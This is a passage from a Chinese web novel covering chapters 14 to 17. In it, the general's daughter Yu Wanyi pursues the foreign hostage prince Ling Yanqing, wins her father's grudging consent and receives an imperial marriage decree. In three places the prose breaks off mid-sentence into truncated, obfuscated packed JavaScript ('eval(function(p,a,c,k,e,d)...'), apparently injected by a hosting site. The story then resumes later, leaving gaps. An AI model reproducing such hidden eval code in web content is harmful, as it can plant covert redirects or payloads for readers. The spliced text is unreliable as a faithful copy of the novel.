余初琼皱紧眉毛,“收获亲情”是真的,她否认不得,但那句“公子的爱慕之心”是从何处说起? “你还要狡辩吗?”余菀意冷漠道,“那晚宫宴,你去哪儿了?你和公子延卿幽会的场景,我全看见了。你跟他站一起真是般配,情投意合也不足为奇!”最后一句话带着一股子醋味,出言刻薄也是因她不甘。 话说到这份上了,余初琼还有什么不明白的?她忙把话接上:“原来姐姐是为了他?那位的身份......我不便与你明说,但你相信我,我跟他绝不是你想的那种关系!而且......我也不敢有那类心思!” 余菀意转过头,狐疑地看着她,即使在暗处,只能看到余二小姐模糊的轮廓。 “你信我,我和他没有情意,甚至可以对天发誓,如若欺骗,不得好死!”余初琼又放柔了声音,“同样,我也希望姐姐别爱慕他,他......不是我们能喜欢的。” “为什么?”余菀意那次看得真切,若无关系,他们怎会在池边私会? “姐姐,别再执着了,你不晓得他是......他是.......”没说出个所以然来,余初琼突然吃痛一声,像承受了巨大的疼痛。 余菀意气在头上,只顾追问:“你说清楚,他到底是什么?就因为从齐允来,不是本国人吗?” 她想知道原由,余初琼却双手捂脸,虽忍住没叫唤,但好像疼得厉害,都要往地上滚去。 “你怎么了?!”余菀意惊慌地凑近。 她想找人来,余初琼一手捂着自己的脸,一手抓住姐姐,说道:“别,别去!” 余初琼痛得嗓音干涩,紧紧抓住旁人的小臂。 “别去!”她缩着身子煎熬着。 余菀意陪着她,过了好一会儿,余初琼才恢复力气,但说的第一句话却是“姐姐,他......没你想的那么好。” 倘若三言两语真能把人劝住就好了,余菀意却坚定道:“不,我不会看错人的。你如果真为我好,那就尊重我的决定。”她语气之肯定,好像什么后果都能接纳。 余初琼默然许久,话已至此,还有什么好说的呢? 晦暗的环境里,她仿佛做了漫长的挣扎。 “初琼已将好话说尽,姐姐一心如此,便也随你,只是......不要后悔。” 这话透有“和解”的意思,知晓她让步,余菀意马上回应道:“我不后悔!” 14. 相会庭前续长思 夜聊到深夜,余菀意入睡迟,次日醒来也迟。 余初琼已在抄书,见她醒来,便撂下笔,说:“姐姐再睡会儿吧,我把昨晚剩下的都抄完了。” 经过昨晚的谈话,余菀意对她的敌意消散许多。本来说好早上一块儿赶进度的,现在人家独自把活干完,她有些不好意思道:“你怎么不叫醒我?”目光在余初琼的帷帽上停留一瞬,又问:“你这是怎么了?” 大早上的,房间也无外人,戴帷帽是为了什么? 余初琼没有摘下来的意思,只是低声道:“夜间被虫子叮咬,醒来有些不适,才想用薄纱隔一隔。” 理由有些牵强,但余菀意有没多管人家。生得明艳或许就会比别人多些烦恼,脸上一丝一毫的损坏都会被放大。 余初琼小心谨慎,连丫鬟将早膳端来时,都没有想摘下的意思,而是轻轻掀开一角,足够进食。 余菀意难得会劝她多吃点,说她抄那么多页辛苦了。 余初琼受宠若惊,她没想到自己的妥协这么快就换来姐姐的善意。 道观钟声袅袅,两人整装完毕,拿着抄好的经书去到祖母的牌位前。 水央早备好祭品,供桌上除却常有的水果一类,还多了一碗汤圆。 这是余菀意特意吩咐的,汤圆是祖母最喜欢甜食,从前苦于没有银钱,现在能吃上了,她却永远不在了。 每每想起,余菀意情不自禁红了眼眶。 她跪在牌位前,轻声念叨起来,说自己不再是一个人过日子,她回到了生父身边,家人待她都很好,还有祖母的亲孙女也在人世,余府会好好照顾她,让祖母在天之灵不要挂念云云。 余初琼虽也跪在边上,但余菀意明白她大抵没什么真切感触,毕竟和祖母生活的人不是她,想悼念都不知道逝者的模样。 经书燃在盆里,火越烧越旺,琐碎的灰烬飞扬漂浮,有些落在衣上,发上,像是亲人抚摸的证据。 祭祀结束后,姚氏说过她们可以在远山观小住几天。 这里没有人管教,余菀意仿佛回到从前的生活,在附近山头跑。余初琼不跟着一起,她有贴身丫鬟陪着,帷帽一戴便是一天,直到夜里吹灯才肯取下。 她们仍睡一张床上,自那晚把话说开,两位小姐的隔阂是少了,但也没因此多些交谈。她们一个喜欢在山上挖掘野草说是药,一个喜欢坐在佛前听诵经。 终于到了返程之日,两位小姐绕到前院,想和观主告辞。可时间挑的不好,很多人正陆续进观拜神。 放眼望去,人群里衣裳朴素的也有,华贵的也有,人海一层盖过一层,稍不注意就被挤散了。 水央惊喊道:“小姐小姐!我家小姐呢?” 香客太多了,几乎是摩肩接踵。余菀意晕头转向,被卷到了别处。她垫着脚,寻觅同行之人,目光扫过人群,却意外撞见一张熟悉的面孔。 那人身穿雀蓝色的长袍,因气质儒雅,这颜色在他身上是锦上添花。他头戴银冠,负手而立,简单的打扮也掩盖不了他的清高傲岸。 “是......是公子延卿?!”余菀意忍不住叫道,声音里极是欢喜。 她以为他们很难有再见面的机会,谁知远山观的神明会帮她。 余菀意笑逐颜开,发誓这次要把握机会。 她跌跌撞撞地奔去,可拥挤的人群并不让她如意。 公子安静地站立,日光斜射,倾他一身,华贵的气息使路人都有意避让三分。 然而就算距离再近,余菀意努力许久,连他的衣角也摸不到。她终究小看了香客的力量,人群涌动将她直接拐进大殿。 她妄想逆流而上,门槛又拌她一脚,身体不由自主地向前倾倒。 余菀意紧闭双眼,心想大概逃不过要做他人的脚下肉垫了。 人群一阵骚乱,有个身影忽然劈开一条路,大步流星,直冲她来。 余菀意生出几分期许,那双宽大的手掌将人从冰冷的地面扶起,她抬起头,正要含羞望去,眼前却是一张白眉善目的脸。 “余小姐,注意安全。”老观主笑意浅浅。 余菀意表情一僵,来不及道谢,立刻往周围眺望。 观院的钟声再起敲响,香客们安定下来,目光虔诚地望向神像。唯有她还在四处张望,失望与落寞爬上了脸庞。 凌延卿像携光而来,又乘清风而去,一切就如刚开始那样,平静没有波澜。 她愁眉不展地离开,正遇上找来的丫鬟。 “小姐小姐!真是急死我了!我差点以为找不到你了!”水央语气急切。 余初琼也担心道:“还好姐姐没有走远。” 观院里的人太多了,稍不留神就会被冲到角落,人多的地方,难免会出事故。 余菀意宽和道:“我没出什么意外,这不,我还好好站着吗?” 水央道:“我知道小姐吉人自有天相,但佛观谁都能来,人多眼杂的,我是怕......”后面的话不吉利,她没敢继续说。 余菀意笑道:“好了好了,你也说了我是吉人自有天相。你们是怎么找到我的?我刚才一点儿都看不见你们。” 香客一来,都是成群结队的形式。余菀意只能认清一遍十步之内的面孔,远了她就不敢确定是谁。 水央道:“我们被人挤到观外面,一想到您还在里面,我就拼命往里头钻,可是太难了!好不容易等人群冷静,有个好心肠的郎君出来,主动与我们搭话。” “谁啊?”余菀意好奇道。 水央摇摇头,说:“不晓得是谁,他见了我们,就说让我们别着急,还说小姐你暂时无恙,就是被挤到佛殿门口。叫我们等钟声敲响,再入门槛来找你。” 哪来的俏郎君,竟有这般好心?余菀意神情一漾,心中有个猜想。 水央猛地摇了几下她,呼唤:“小姐,你怎么了?你怎么又不理我啦?” “啊?没有。”余菀意回道,“我在听呢!” 她确确实实瞧见凌延卿在此地,那日水央没见过他真容,只能以词语形容。但是,余初琼见过! 余菀意没有指名道姓,而是直接问余初琼:“是他,没错吗?” 余初琼心不在焉的,她没听到问话,是身侧的秋拂轻轻拉了下她的衣袖,才恍然将思绪收回。 “什......什么事?” 余菀意迫切想确认郎君的身份,把话又重复一遍。 “他......”余初琼抿了抿唇,低下头,语气难辨道,“嗯,是他。” 身份得到了肯定,余菀意欣喜若狂,原来公子延卿注意到她了,还知会她的丫鬟前来找她。 “他人现在在哪儿?”余菀意扫视一圈,“他回去了吗?” 水央道:“小姐,在我们过来找你前,他就已经下山了。” “下山了啊......”余菀意撇撇嘴,深感遗憾。 本来今日要和观主道别,这会儿她又不愿意了。总觉得多待一会儿,便有可能再遇郎君。但因写信告知过姚氏归期,她们只好按原定日子启程。 水央看到小姐不情愿的样子,直觉告诉她,小姐大抵是看上那位郎君了。 香客礼佛完毕,一上午的时间就过去了。 离观前,余菀意将所剩银两都捐了观中香火,比起别家慷慨的香客,这算不上什么。但观主显得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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余菀意则支吾其词,不想将漫山野游的事告知姚氏。 水央一瞥,机灵地调转话题,道:“夫人有所不知,观里人太多了。观主为人热情周到,对咱们来时相接,去时相送,客气得很!” 姚氏暗暗惊讶,心想观主这是为何?她前几次上山礼佛,他顶多礼貌待人。不过看得出来,两位小姐这趟都很高兴,就没多问。见莞意碗中的糖水将要见底,还让水央再给小姐盛上。 余菀意捏着玉白的调羹,在碗里转圈。她念着观里见到的身影,但苦于得不到旁人的支持。将军夫人素来温婉贤惠,好说话。为成全心中所想,她纠结片刻后,终是缓缓道出。 “远山观晨间香客来访,把我们同行几人都冲散了,还好我......我在那儿见着齐允质子,若不是他好心肠,水央还要费一番周折才能找回我。”她一边说,一边看姚氏的表情变化。 姚氏心思通透,立刻察觉到不对头了。这孩子压根没把老爷的话听进去,如果料到公子延卿也会去,她就派人请小姐们快些回府了! 余初琼望向檐下断了线的雨珠哒哒落下,她不想插话,那天晚上她说得够多了。 姚氏可谓左右为难,余菀意非她亲生,如果直截了当拒绝,怕以后关系会生分尴尬,只得语重心长道:“菀意,你的心愿......我说实话,做不了主,届时我再和老爷商量商量吧。质子身份特殊,不是普通的王孙贵族。” 话说得十分委婉,没拒绝,没同意。怕还要再提,夫人忙打发小姐们各自回房去。 15. 慈父终应女儿愿 姚氏本家原是书香门第,奈何族中长辈相继离世,守孝三年又三年。错过了花季,她不再抱有嫁娶的心思,后因亲朋相继撮合,最终还是在二十五岁那年嫁与余将军作续弦。 余初琼虽然乖巧,但余家老太太在世时,仍劝儿子再和姚氏生一个。她说孩子能维系夫妇感情,是男是女并不重要。 余将军因找不回亲女,无心再延其他子嗣,可母亲不断劝说,于是姚氏在府里的第三年,有了自己的骨肉。 余老太太看见初来人世的孙儿,最后含笑离世。 那场雨在入夜前停了,将军从军营回来,府里一片宁静。几日的早出晚归,他忙着给新兵子弟立规矩。几个黄毛小儿仗着自己出生将门世家,以为很懂兵法,桀骜不驯,甚难教化。 绕过庭院,见卧房里还点着灯,将军不禁心下一暖,知晓是夫人在等他。 姚氏擅长楷书,等夫君归来的同时,她正在挑灯写字,因为太过认真,连将军进来在后面暗暗欣赏都没发觉,直到说出那句“夫人好手笔”的褒奖之音,她才恍然转过头。 “老爷真是!进来都不吱声,是故意要吓我吗?” “我见夫人写得入神,才没有着急打扰。” “老爷都做过寿了,还是喜欢拿我寻开心。” 姚氏收好笔墨,将军凑上前,握住妻子的双肩。他知晓这几日为难夫人,他不在家,两个女儿又去了道观,忙完这阵子,他决定讨几日假,好好陪一陪夫人。 姚氏道:“你陪不陪我也没什么打紧的,两姐妹今天下午就回来了。前脚进屋,后脚就下雨。哦还有,这次回来,我总觉得她们有些不太一样了。” “怎么说?”将军来了精神,“她们有什么不一样的?” 姚氏道:“此次一行,我看得出来,俩姐妹的感情增进不少。” “这是好事呀!”将军顿时笑了,“我原看阿圆不怎么亲近琼儿,这次同住几天,她俩变得姐妹情深,定是神明暗中帮忙呀。” “您这话说的,咱余家的姑娘都不是差的,虽各有特点,但相处久了,总能能玩到一块儿去。”姚氏见老爷心情好,又张口附和几句,乐得将军嘴角没放下来过。 眼看火候差不多了,她踌躇着,是时候道出今天苦等夫君的真实原由,委婉地把远山观巧遇质子的事交代一遍。 结果本还眉开眼笑的将军,听闻此言,马上沉下脸来,他坐在凳子上,看着手里的杯子沉默。 姚氏索性开门见山:“老爷,我看她对公子延卿真心爱慕。你说做父母的,哪有陪子女到老的?既是她亲自相中的夫婿,那要不从了她罢?” “不成!阿圆年幼,分不清好坏。公子延卿虽内藏锦绣,但夫人也知我疼惜女儿,怎舍得日后与其相隔万里?而且适龄的青年才俊比比皆是,阿圆嫁到我们看得见的地方,受了委屈,我也能马上提刀过去。” 他是武夫,口出豪言只为图个“近”字,方便将来给女儿撑腰。再说戊斯那些土生土长的贵族,也不乏适婚的优秀之人。就算阿圆看上门第差的,只要人品过关,将军乐意招他入赘,领他上仕途。 姚氏失笑道:“老爷,她都十五岁了,已到戊斯的嫁娶之龄。若她真一心认定那个质子,你又该当如何?” 一说这话,将军就愁容满面,要是换作别的男儿作夫婿,当爹的肯定喜闻乐见。 姚氏见状继续劝说:“老爷,你就算扯断她的红线,留在身边,可我们终究要比她先走一步,倒不如......让她找个真心喜欢的。” 将军把身子转过去,苦道:“夫人,我想弥补这十五年对她的愧疚,所以不忍心放她去到远方。亲人血脉相连,本就该生活在一块儿。你说她要是跟人回了齐允,我这个当爹的恐怕临死才能再见上她一面啊!” “老爷......”姚氏亦惆怅地望着夫君。 窗外月隐云层,约莫到了三更天。 “夫人,早些休息,有什么话以后再说吧。”语罢,将军也不管别人是何表情,三步就跨到床边躺下,连外衣都没脱便鼾声作响。 姚氏摇了摇头,心知夫君有意躲避,便没再说下去。 夜色寂寥,晚风吹动院落的树叶。余大小姐的卧房里,两道身影躺在床上,低声说着悄悄话。 周良喜的身子早就爽利了,本被安排住东厢房,好友一回来就把她喊去同睡。 二人在床幔里嬉嬉笑笑的,余菀意十句话有八句是讲那位齐允公子。情窦初开的年纪,总喜欢把秘密告诉好友听。 “好了好了,我的大小姐,你拉着我快讲一整夜,我就算是聋子也知道你喜欢他了。”周良喜打趣道,“唉,不晓得那人是不是真像你说得这么好。” 余菀意小脸一红,道:“我才说了他的冰山一角,他优秀的地方多了去了。” “行行行,他优秀,他是全天下最优秀的。”周良喜笑着凑过去。 余菀意轻轻打她一下,说:“等你遇上意中人,看我怎么反过来笑话你吧!” 二人又拌了几句嘴,在嬉闹声中迟迟睡去。 结束了祭祀之行,余菀意又要每天去书房报到了。 许久不见,马夫子还是精神烁立。因她之前学习进度落下太多,所以每天布置给她的功课也多了。 周良喜见其用功,就想去街上买她最喜欢的核桃酥。 去时,周良喜刚用过午饭,她脚程快,至多一刻钟就能赶回来。 余菀意在桌上写写抄抄,可是等到完成功课,仍不见她身影。 沁香阁离将军府才几条街,怕她路上出了变故,余菀意忙出去找人。结果还没到大门,就在余府的游廊上瞧见了周良喜。 深秋的天气,庭院落叶纷飞,周良喜和余初琼站在墙根处,似乎在交谈什么,但又好像谁都没有张口。 余菀意悄悄靠近,从后面拍了拍周良喜的肩膀。就是这一拍,竟把人吓得浑身哆嗦。 “你......你......”周良喜说不出完整的话来。 余菀意奇怪道:“你怎去那么久不回来?我一拍你肩膀,你倒像见了鬼似的。” 周良喜脸色难看,支支吾吾没能回应。 余初琼见姐姐来了,不像往常寒暄,而是匆匆掩好自己的帷帽,疾步离去。 “你们......怎么在这里碰到了?”余菀意语气关心,而且看样子她们好像发生了不愉快? “没没没,没有的事!”周良喜连忙摆手,“我只是走太急,和二小姐撞上了,然后那些糕点,也全都弄脏了。” 余菀意明白了,周良喜一定是因为弄脏了糕点,说话才不自然吧。 “多大点事,别放在心上,我也不是非吃不可,你没事就好。”她挽着好友就要回院子里去。 可周良喜并没有放松,忧心忡忡望着脚下的地。 在军营多日操劳的将军,晚上总算抽出空能和家人同桌用餐。 姚氏为此让下人备了烤乳猪,以及温了上等美酒。几个小菜摆上桌,小郎君趴在桌子上直喊香。 余菀意同样盼着见到将军,早早来到前院。那日的请求,将军夫人没办法回应,真正能做主的,只有她的父亲。 余初琼则是神色恹恹,几日过去,她头上的帷帽依旧没摘。 姚氏感到不对劲,都过去这么久,这孩子怎还不见好?心下一急,便要揭了看看。 余初琼倍感惊慌。姚氏生怕她戴着帷帽,戴出病了。一下两下好言劝说,若不听,她现在就要请郎中过来。 余初琼没了办法,只好依依不舍地摘去。 以为没有好全,可是卸去纱幕的姑娘,脸上肌肤胜雪,不见瑕疵。 姚氏长舒口气,嗔怪道:“都好了还戴着帷帽,小心闷着自己!” 余初琼讪讪地摸了摸自己脸颊,垂下眸去。 一桌人等将军到家,才动起筷子。菜早上齐了,其中几道还是姚氏亲自下的厨。 将军搓了搓手,感慨道:“全家许久没有这么整齐坐一起了。” 姚氏命人取来温酒,给夫君倒上一杯,说:“老爷这几天辛苦,这酒是你最爱的一壶,今天时间宽裕,你便好好品吧。” 将军闻了闻酒杯,大笑一声,说:“夫人不仅贤惠,还善解人意,这酒我光是闻着就要醉了。” 他低头喝了一口,连声道妙。小郎君瞧了,都攀上父亲的手臂说要尝一尝。 屋里温馨的画面,让人暖洋洋的。 将军问儿子,最近跟马夫子学了什么? 余小郎君为讨爹高兴,随口背了几句应景的诗文。 将军慈爱地看着他,道:“临儿真是聪慧,学道理了就是不一样,比以前成熟多了。说吧,想要什么奖励?” “爹要奖励我?”小郎君欢喜道,“爹,我想要一把大刀,和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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女儿丧着脸,将军自是疼在心里。期间姚氏没少劝过他,但他知道,自己绝不能松口。刚才他都想让阿圆直接做出选择,要爹还是要齐允质子?但真这么做了,只怕日后父女两个的感情会出现罅隙。 唉!他多希望女儿能原谅他的自私,把她留在身边,护她天真到老。 余菀意不走,将军也坐着不出声,空气压抑得不像话。 “爹。”余初琼终于出声,“姐姐执意如此,不如就这样。我也不想每次看到你们因这事不欢而散。” 姚氏亦跟着说道:“是啊,孩子大了都有自己的想法。” “你们......”将军无奈地看向众人,所有人都希望他同意,他难道就想僵着吗?哪个父亲不想子女得到最好的啊。 “阿圆,我问你,那质子真有你觉得那么好?值得你终身托付?”将军痛心道,“你一脚进了齐允王室,若日后他 先有三长两短,你都不能脱身了!” 姚氏道:“没错,他们那边的皇亲国戚,就算夫婿去世,女眷也没有‘改嫁’的说法。” 最大的坏处已经挑明,但余菀意坚持道:“是的,我清楚。”她靠几面之缘就定下心意,哪怕没和对方说过话,但这种感觉不知怎么形容,像一场慷慨的豪赌,她愿赌服输。 她眼神过于坚决,令将军注目良久。女儿这样子,真与他年轻时像极了。 时间慢慢流逝,亏他们沉得住气,旁人等得手心都冒汗了,就怕父女要再起争执。 余将军忽然揭开桌上的酒壶,“哗哗”倒了一碗,自己饮下,然后又倒了一碗,递给余菀意。 “既然这样,那就喝吧。你能一口气饮下,我就不阻拦你了。” 这是什么鬼主意?姚氏惊叫一声,今日的酒为款待老爷,她特地买最烈的。 余初琼也想说“不可”,但余菀意已潇洒举碗。她知道想让爹赞成,需要付出些许代价。 烈酒的气味灼烧她的鼻尖,但这一刻,她的勇气已然达到顶峰。 仰头一饮,即便酒水刺挠了喉咙,她也不肯屈服,有些还灌进鼻子,害人猛一阵咳嗽。 “好了好了,喝完了!”姚氏夺下酒碗,回头瞪将军一眼。 余初琼帮她顺背,焦急道:“姐姐,你怎么样?” 然而余菀意只看向将军,吃力地伸出手,拉住他的衣角,轻声道:“爹,说话算数。” 随即,两眼一翻,不省人事。 16. 诏书钦点鸳鸯谱 余菀不后悔这一晚的举动,即使第二天醒来头晕眼花,没有食欲。 将军事后自责许久,他出此意是想让女儿退缩,没想到反而让她将决心亮得明明白白。 这下还有什么好阻拦的?将军终是退让了。 余菀意早晨喝醒酒汤那会儿,将军便寻齐允使臣打听情况。 这是全城小姐避之不及的婚事,余家却赶着上。 那位使臣是齐允的吕姓官员,品行端正。 将军原和他聊得好好的,提及齐允山水国土,使臣娓娓而谈,但话说到公子婚事,他明显迟钝一下。 “将军,恕我直言,公子延卿尚未立业,心智也未成熟,暂不考虑婚配。而且......令爱应当有更合适的良人。”吕官员反应奇怪,说完这句便结束话题,拱手告辞。 将军虽感郁闷,但可以确定使臣这是借口。 这下就不是父母阻拦的问题了。 但当余菀意得知时,瞳孔一缩,如一只残破的蝴蝶,直挺挺往后倒去。 姚氏忙扶住她,哀叹道:“你这傻孩子,如此执着究竟是为何啊?!” 余菀意听不进去,她直勾勾地看着头顶上方,思绪紊乱无比。 为什么会这样呢?她想靠近,想和他并肩而立,可困难的大山是一座挨着一座啊。 余菀意突然生出个念头——她要亲自去见公子。 将军将她拘下,看到女儿悲伤的神情,他何尝不是心如刀绞?但还要表现镇定,吩咐人仔细照看小姐,让她大哭一场也就过去了。 天下没有过不去的坎,遭拒好啊,伤心几日,女儿总该放弃了。 可之后好几天,余菀意都躲在屋里,不许人开窗,不许人开门,只有水央和周良喜照料她的日常起居。 渐渐地,将军夫妇也感觉到不对劲。 “老爷,你说莞意她会不会是......” “不会的!我余家子女没有那么脆弱......” 话虽如此,但将军还是有些后怕,叮嘱夫人多关注女儿的情况,真有不寻常的地方,立刻派人去营中通知他。 姚氏满口答应,就算将军不说,她也会多留意的。 余菀意精神尚可,有人精心伺候,吃喝都不抗拒,就是天天这么坐着,像在思考事情。 直到一日,她终于有了动静,起身在房里走动。 水央一喜,以为小姐想通了,谁知她又突然发疯,把一堆诗书拿出来撕了,白花花的碎纸撒了一地。 为了公子延卿,她付出诸多努力,为的是有朝一日能站在他身侧,得旁人一句“相配”之语。 可是现在没有了,她的努力都成了泡影。 水央抱着小姐的脚,哀求她冷静,周良喜则摇着余菀意的肩膀,叫她快清醒。 这次比以往更严重,姚氏闻讯带人过来,余菀意立刻作恐慌状。 她赤着脚,飞快躲上床,蒙住被子大喊道:“不要看我!不要看我!” 她头发散乱,衣衫褶皱,人不像人,鬼不像鬼。 “菀意,菀意!不要怕,这里没有外人!”姚氏用力去扯被子,总算扯开个口子。她太清楚,再这样下去,恐怕会得癔症。 姚氏清了清嗓子,温声道:“好孩子,你念着他,是不是想见他?相见的话,我现在就着手安排。” 没办法了,姚氏明白这事拖不得,哪怕让别人知道余家的笑话,她也得这么做。 “你听话,咱们梳妆打扮,去找他如何?”姚氏如同对待三岁儿童,哄说道。 见他?她还有机会见凌延卿吗? “来,我们下床来。”姚氏这回轻轻松松就能摘去她的被子。 余菀意被扶下床,水央顺势打开柜子,替小姐翻找衣裳。可这件不行,那件不要的,扔空整个衣柜的服饰,都没一套小姐喜欢的。 “怎么了,都不喜欢吗?”姚氏捡起地上一件梅子色罗裙,“这条还是你穿得最多的。” 余菀意摇了摇头,难过说:“不对不对,这里没有他喜欢的衣服,真奇怪,我为什么没有一件琥珀色呢?” “琥珀色?”姚氏转头问水央,“小姐有琥珀色的衣衫吗?” “没有,小姐从未购置过琥珀色的衣衫。”水央细想一番,又道,“但二小姐去宫宴那回,似乎穿着这个颜色。” 姚氏点头,差人去余初琼那儿问问。很快,下人便捧着物什回来了。 “夫人,二小姐一听是大小姐要的,将那日所穿衣裳以及首饰都让小人带过来。就是这些,您瞧瞧。” 姚氏道琼儿善解人意。余菀意一看这熟悉的颜色,脸上的忧愁顷刻少去大半。 两人身材差不多,她将衣服穿上,高兴地在铜镜前转了一圈,赶走了之前的死气沉沉。 姚氏还帮她梳理好长发,等收拾完毕,才开口让人去备马车。 “夫人夫人!府里来了个传旨的公公!” 姚氏听了,心一慌。这还没进宫去见质子呢,怎么传旨的先来了? 宫里来的人阵仗浩大,首位的公公脸布白粉,为了遮盖老年斑,三步之内都是他的香粉味。 他展开圣旨,用细长嗓音念道:“日元乾朗,福庇戊斯。余将军之长女,秉性纯良,玉洁冰清。齐允国公子延卿,风度翩翩,有温雅之品貌。二人乃天作之良缘,特今日下旨赐婚,愿二人喜结连理,择吉日完婚。” 宦官细长的落下,余府众人皆愣在原地。 公公向将军夫人连连道喜。 姚氏纳闷不止,但她镇定地将诏书接下,奉承几句,就命人取了银两,交付公公。 那宦官将钱财藏入袖口,说道:“哎,夫人这就见外了,什么辛苦不辛苦的,做奴才的都是为国主办事。” 传达完旨意,宫里的人就撤离了。姚氏客客气气地将人送走,回头再看余菀意,还杵在原地不知所措。 一同听旨的余初琼扯了扯她的衣袖,她才恍然念叨:“我......我不是在做梦吧?” 国主给她和公子延卿赐婚了? “姐姐,是真的,你没有做梦。”余初琼握紧她的手,“你看旨意都下来了,怎还会有假?” 夫人手握诏书,却如千金之重,总觉得事情没那么简单。 这下王宫也不用去了,诏书送来,药到病除,余菀意跟夫人坐在堂前等将军爹回来。 将军回府时天刚擦黑,一进门看到满大家子的人整齐坐着,如临大敌。但见阿圆气色变好,都肯出来走走了,心里也放下些。上次那碗烈酒将女儿猛灌,他又悔又恨,若不是姚氏拦着,他都得打自己几拳。 余菀意回了个笑,对他道:“这几天给爹添乱,我已经好多了。”她说话井然有序,没了之前的阴郁。 将军眼神柔和,想是列祖列宗庇佑的缘故,可又见夫人愁眉不展的,忙问:“夫人怎么了?我迟一刻回府不过是因为路遇同僚,这才......” “谁说是因为这个?”姚氏指向桌上放着的东西,“旁的我就不多说了,你先看看这是什么吧。” 匣中那卷诏书妥帖平躺,将军眼睛顿时大了一圈,问这是哪儿来的? “哪来的?”姚氏惊从凳上坐起道,“不是你求来的?” “怎么会是我求来的?!”将军一脸诧异。 这可真是活见鬼了,除了他们,还会有谁这么做? 余初琼打圆场道:“虽不知是何人帮忙,但这也算顺了姐姐的心意,我想事情应当没那么糟糕。” 不错,诏书既已送到,即便有不明白之处,余府也不能抗旨不遵。 余菀意更是沉浸在喜悦里,后来还和周良喜谈论这个好消息。 周良喜欲言又止,表情算不上高兴,也算不上失落。自那天她在转角碰见余二小姐,整个人就有些不太对劲,话少了,还总是出神。但不管怎样,她还是强打起精神,顺着余菀意的话附和了几句。 诏书莫名其妙到来,随了女儿的心愿,可将军夫妇始终心里不太平。 然次日,真相就随着与颦夫人的登门拜访而浮出水面。 彼时,将军和姚氏正在堂内坐听临儿背诵课文。 只听外头一阵吵闹,而后涌进不少挑担的大汉,将系了红花的大木箱安置主人面前。 将军问他们要做什么?那些人却不应答,放下箱子便退居一旁,为首的总管将红卷轴递给他,恭敬道:“将军,这是我们齐允下的聘礼,请您过目。” 将军一时反应不过来,心想昨天诏书才到,怎么今天齐允就送聘礼?莫不是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“好了好了,再过不久就成一家人了,别说那些见外话了。”与颦夫人把话拉到正题上,“我是个急性子,想样样事情提早定下,此番来,除了下聘,就是为了商讨俩孩子的婚事。” 有关婚假之期,她早命人掐算过了,下月月末是个百年难得的好日子。 将军不由眉头皱起,暗想与颦夫人这是有意让阿圆五十天后出嫁? 与颦夫人看出他们的担忧,解释是外甥命格不同,若错过了那天,得再等几年才能盼到这样的良辰吉日。而且她来戊斯时,就一点点备好了东西,只要女方父母同意,别说三天,明天就能顺利举办婚事。 将军仰头叹气,满心都是不舍。 与颦夫人又说,公子成婚得通知齐允王室一声,但两国之间相隔甚远,让人快马加鞭恐怕也得花上几个月的时间。要立正妻,她做不了主,立个侧室,不过是姨母一句话的事。 “将军莫急,我喜爱余家姑娘,回去就会向齐允国主禀明原由,将她扶正。暂坐侧室的位子,只是缓兵之计。否则错过了日子,我这个姨母还得再盼几年才能看到外甥娶亲。” 当公子侧室并非屈辱,但余将军不忍,正要出言反对,余菀意突然冒了出来。 不知她偷听了多少,张口就道:“爹,既是缓兵之计,那么女儿愿意。” “菀意,你胡闹什么!”姚氏头一次呵斥她。 与颦夫人眼珠一转,热情地过去,说道:“哎哟哟,这就是余小姐吧?好水灵的人,一见就合我眼缘!”她拉着人好一顿夸。 余菀意耳根子软,旁人称几句好,自己不免飘忽起来。 与颦夫人趁热打铁,再度劝起将军夫妇。 将军虽犹豫,但也动摇了,主要联想阿圆之前半颠半疯的样子,不想再拂她的意。 事情定下,与颦夫人笑容满面地告辞,临别还说了些话,懊恼自己走得急,没给小辈带见面礼。 余菀意为求表现,在将军夫妇的同意下,送这位姨母出去。 “好了,我这就走了,你也回去吧。”余府门口,与颦夫人亲亲热热地和她告别。 余菀意不知道自己转过身,木门合上的刹那,姨母悄然敛了神色。 她嘴角放平,以帕相掩。 在外等候的严嬷嬷上前迎接,道:“苦了夫人,看样子事情都顺利。” 与颦夫人轻抚胸口,眼神略微疲惫道:“差不多了。” “那......那就好!我去喊人将车赶来!”严嬷嬷放了心,她在夫人身边有些岁月,知晓为了公子的婚事,夫人已许久没有放松了。 17. 婚期将近万事兴 婚事确定后,与颦夫人后和余家说,不用长辈购置嫁妆,俩孩子在一起,就是图个和乐。 这话说到为人父母的心坎去了,但将军府不缺这些银钱,姚氏仍支银子去置办。除此之外,还让余菀意自己上街挑些喜欢的,顺便再到锦绣阁裁几件新衣。 因余家的名头,店里不敢怠慢,当即请最有经验的裁缝亲自为她量尺。 “余小姐身材高挑,无须衣裙过多修饰,基本穿什么都好看。”裁缝娘子在簿上记好尺寸,回头对她笑道,“小姐且在雅阁稍等,我去取样布过来。” 余菀意含羞点头,轻声应了声“有劳”。 陪行的水央怕小姐无聊,雅阁内放有瓜果点心,就请小姐去榻上坐坐。 锦绣阁建于在热闹的街市,临榻有扇梨木窗,即便合着,也难以阻挡楼下的鼎沸声。 等候的过程中,余菀意好奇地推开往下看,恰好瞧见街心上演一场热闹争执。 原来有个货郎被人拦下,为首的妇人说他卖的破水粉,昂贵且坑人,涂在脸蛋上,次日起红疹。 货郎巧舌如簧,声称既已售出,概不退货。无论人家怎么辱骂,他就是咬死不承认。 你一言我一句,其中不免夹杂着污言秽语。 水央伸手关了窗,道:“小姐,这等粗俗景象,没什么好瞧的。” 是吗?余菀意心道他们都是为了争取自己的利益罢了。 裁缝娘子揣摩小姐的喜好,取来了样布,热情地和小姐商计做什么款式,用什么工艺。 一番交流过后,最终敲定看中的六款花布,各出一套衣裙,并承诺尽量赶在一个月内完工。 